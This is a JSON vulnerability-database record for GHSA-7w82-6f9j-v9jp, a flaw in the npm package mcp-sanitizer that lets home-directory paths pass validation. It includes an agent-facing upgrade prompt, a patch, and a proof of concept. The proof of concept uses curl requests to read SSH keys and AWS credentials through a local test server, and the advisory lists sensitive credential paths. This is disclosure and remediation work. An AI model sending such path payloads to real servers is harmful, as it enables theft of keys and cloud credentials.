{"answers":{"affected":"2 open source packages ship an affected version, including mcp-sanitizer.","exploited":"There is no known exploitation of GHSA-7w82-6f9j-v9jp in the wild and no public exploit code.","fix":"Upgrade mcp-sanitizer to 1.4.0 or later.","what":"GHSA-7w82-6f9j-v9jp is a vulnerability in mcp-sanitizer, published on 28 Oct 2026."},"fix_prompt":"Check this codebase for GHSA-7w82-6f9j-v9jp and fix it if it is affected.\n\nWhat it is: GHSA-7w82-6f9j-v9jp is a vulnerability in mcp-sanitizer, published on 28 Oct 2026. \nExploitation: There is no known exploitation of GHSA-7w82-6f9j-v9jp in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- mcp-sanitizer (npm): affected all versions; fixed in 1.4.0\n- mcp-sanitizer (npm): affected all versions; fixed in 1.4.0\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-7w82-6f9j-v9jp/ (Markdown: https://insights.sbomify.com/GHSA-7w82-6f9j-v9jp/index.md)","id":"GHSA-7w82-6f9j-v9jp","markdown":"https://insights.sbomify.com/GHSA-7w82-6f9j-v9jp/index.md","name":"GHSA-7w82-6f9j-v9jp","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## File Path Sanitizer Permits Arbitrary User-Home Absolute Paths\n\n### Summary\n\n`mcp-sanitizer` v1.3.3 explicitly whitelists `/home/` and `/Users/` as allowed absolute path prefixes in its file path validation logic (`src/utils/validation-utils.js:188-196`). As a result, paths such as `/home/alice/.ssh/id_rsa` and `/home/alice/.aws/credentials` pass through `sanitizer.sanitize()` with `blocked=false`, even though they point to highly sensitive files outside any configured safe root. Any consumer application that trusts the sanitized path and passes it to a filesystem read/write operation (e.g., `fs.readFile`) will expose arbitrary user-home directory files to an unauthenticated network attacker. Dynamic reproduction confirmed exfiltration of a simulated SSH private key and AWS credentials via a single HTTP POST request.\n\n### Details\n\nThe vulnerability resides in the `validateFilePath` function inside `src/utils/validation-utils.js`. When an absolute path falls outside the configured safe root directories, the function performs a secondary check against a hardcoded allowlist:\n\n```js\n// src/utils/validation-utils.js:188-196\nif (!isInSafeLocation \u0026\u0026 path.isAbsolute(normalizedPath)) {\n  const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];\n  const isAllowedAbsolute = allowedAbsolutePaths.some(allowed =\u003e\n    normalizedPath.toLowerCase().startsWith(allowed.toLowerCase())\n  );\n\n  if (!isAllowedAbsolute) {\n    throw new Error('Absolute path not in allowed safe directory');\n  }\n}\n```\n\nBecause `/home/` and `/Users/` are included in `allowedAbsolutePaths`, any path beneath those directories — including `~/.ssh/id_rsa`, `~/.aws/credentials`, `~/.kube/config`, `~/.gnupg/`, etc. — is considered safe and passes validation unchanged.\n\nThe dangerous paths (`dangerousUnixPaths` at `src/utils/validation-utils.js:135`) only cover `/etc/`, `/proc/`, `/sys/`, `/dev/`, `/root/`, `/boot/`, `/usr/bin/`, and `/sbin/`. Home-directory sensitive subdirectories (`.ssh`, `.aws`, `.gnupg`, `.kube`, `.config`) are never checked.\n\nThe full data flow from a network request to the vulnerable return value is:\n\n1. **`src/middleware/express.js:538-541`** — The Express middleware routes `file_reader`/`file_writer` tool parameters to `sanitizer.sanitize(params.file_path, { type: 'file_path' })`.\n2. **`src/sanitizer/mcp-sanitizer.js:523-524`** — When `context.type === 'file_path'`, `_secureSanitizeFilePath()` is called.\n3. **`src/sanitizer/mcp-sanitizer.js:683-687`** — `validateFilePath()` is invoked; if it does not throw, the normalized path is returned as the sanitized value.\n4. **`src/utils/validation-utils.js:188-196`** — The `/home/` prefix check passes without error.\n5. **`src/utils/validation-utils.js:200-201`** — The original, attacker-controlled absolute path is returned to the caller as a trusted, sanitized value.\n\nA consumer application receiving `{ blocked: false, sanitized: '/home/victim/.ssh/id_rsa' }` is expected to use that path for I/O. The sanitizer's own `README` and middleware integration imply that a `blocked: false` result is safe to act upon.\n\n**Suggested patch:**\n\n```diff\n--- a/src/utils/validation-utils.js\n+++ b/src/utils/validation-utils.js\n@@\n   const dangerousUnixPaths = ['/etc/', '/proc/', '/sys/', '/dev/', '/root/', '/boot/', '/usr/bin/', '/sbin/'];\n+  const sensitiveHomeFragments = [\n+    '/.ssh/', '/.aws/', '/.gnupg/', '/.kube/', '/.config/',\n+    '/.npmrc', '/.env'\n+  ];\n@@\n+  const normalizedForSensitiveCheck = normalizedPath.replace(/\\\\/g, '/').toLowerCase();\n+  if (sensitiveHomeFragments.some(fragment =\u003e normalizedForSensitiveCheck.includes(fragment))) {\n+    throw new Error('Access to sensitive user configuration path not allowed');\n+  }\n@@\n-    const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];\n+    const allowedAbsolutePaths = ['/tmp/', '/var/tmp/'];\n```\n\n### PoC\n\n**Environment requirements:** Docker, Python 3, Node.js 20\n\n**Step 1 — Build and start the reproduction container:**\n\n```bash\n# From the vuln-002/ directory\npython3 poc.py\n```\n\nThe script automatically:\n1. Copies the `mcp-sanitizer` source into a Docker build context.\n2. Creates simulated victim files at `/home/victim/.ssh/id_rsa` and `/home/victim/.aws/credentials` inside the container.\n3. Builds a consumer HTTP server (`server.js`) that calls `sanitizer.sanitize()` and then `fs.readFile` on the returned path.\n4. Sends the three test requests described below.\n\n**Step 2 — Manual HTTP requests (after the container is running on port 13572):**\n\nControl test — must be blocked:\n```bash\ncurl -s -X POST http://127.0.0.1:13572/tool \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"tool_name\":\"file_reader\",\"parameters\":{\"file_path\":\"/etc/passwd\"}}'\n# Expected: {\"blocked\": true}\n```\n\nExploit test 1 — SSH private key exfiltration:\n```bash\ncurl -s -X POST http://127.0.0.1:13572/tool \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"tool_name\":\"file_reader\",\"parameters\":{\"file_path\":\"/home/victim/.ssh/id_rsa\"}}'\n# Expected: {\"blocked\": false, \"EXPLOIT_SUCCESS\": true, \"file_content\": \"-----BEGIN RSA PRIVATE KEY-----...\"}\n```\n\nExploit test 2 — AWS credentials exfiltration:\n```bash\ncurl -s -X POST http://127.0.0.1:13572/tool \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"tool_name\":\"file_reader\",\"parameters\":{\"file_path\":\"/home/victim/.aws/credentials\"}}'\n# Expected: {\"blocked\": false, \"EXPLOIT_SUCCESS\": true, \"file_content\": \"[default]\\naws_access_key_id = ...\"}\n```\n\n**Observed results (Phase 2 dynamic reproduction):**\n\n```\n[Test 1 — Control] POST /tool {file_path: '/etc/passwd'}\n  =\u003e blocked=true  ✓  (dangerousUnixPaths correctly blocks /etc/)\n\n[Test 2 — Exploit] POST /tool {file_path: '/home/victim/.ssh/id_rsa'}\n  =\u003e blocked=false, EXPLOIT_SUCCESS=true\n  sanitized_path: /home/victim/.ssh/id_rsa\n  file_content:\n    -----BEGIN RSA PRIVATE KEY-----\n    MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK\n    SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002\n    -----END RSA PRIVATE KEY-----\n\n[Test 3 — Exploit] POST /tool {file_path: '/home/victim/.aws/credentials'}\n  =\u003e blocked=false, EXPLOIT_SUCCESS=true\n  file_content:\n    [default]\n    aws_access_key_id = AKIAIOSFODNN7EXAMPLE\n    aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n    region = us-east-1\n```\n\n**Root cause confirmed:** `validation-utils.js:190` — `allowedAbsolutePaths` includes `'/home/'` and `'/Users/'`; any absolute path starting with `/home/` passes with `blocked=false`.\n\n### Impact\n\nThis is a **Path Traversal / Improper Path Restriction (CWE-22)** vulnerability.\n\nAny application that integrates `mcp-sanitizer` to validate file paths for MCP `file_reader` or `file_writer` tools is affected. The library is explicitly designed for use in MCP servers exposed over a network via the Express middleware. An unauthenticated remote attacker can supply an absolute path to any file under `/home/` or `/Users/` — requiring no authentication, no special privileges, and no interaction from a legitimate user.\n\n**Sensitive targets include but are not limited to:**\n- SSH private keys (`~/.ssh/id_rsa`, `~/.ssh/id_ed25519`)\n- Cloud provider credentials (`~/.aws/credentials`, `~/.config/gcloud/credentials.db`)\n- Kubernetes config (`~/.kube/config`)\n- GPG keys (`~/.gnupg/`)\n- Application tokens (`~/.npmrc`, `~/.netrc`, `~/.env`)\n\nThe confidentiality impact is **High** because SSH keys and cloud credentials grant full access to remote systems and cloud infrastructure. There is no integrity or availability impact, as the vulnerability is limited to reading (and potentially writing) files.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-002 Reproduction: mcp-sanitizer v1.3.3 /home/* path bypass\n# Builds a Node 20 container with:\n#   - mcp-sanitizer source from the local repo\n#   - Fake sensitive files in /home/victim/.ssh/ and /home/victim/.aws/\n#   - A consumer HTTP server that trusts the sanitizer\n\nFROM node:20-slim\n\nLABEL vuln=\"VULN-002\" \\\n      cwe=\"CWE-22\" \\","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"mcp-sanitizer: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths","id":"GHSA-7w82-6f9j-v9jp","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"npm","fixed":["1.4.0"],"introduced":["0"],"last_affected":[],"package":"mcp-sanitizer","purl":null,"source":"GHSA-7w82-6f9j-v9jp"},{"ecosystem":"npm","fixed":["1.4.0"],"introduced":["0"],"last_affected":[],"package":"mcp-sanitizer","purl":"pkg:npm/mcp-sanitizer","source":"GHSA-7w82-6f9j-v9jp"}],"products":null,"published":"2026-10-28","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/GHSA-7w82-6f9j-v9jp/"}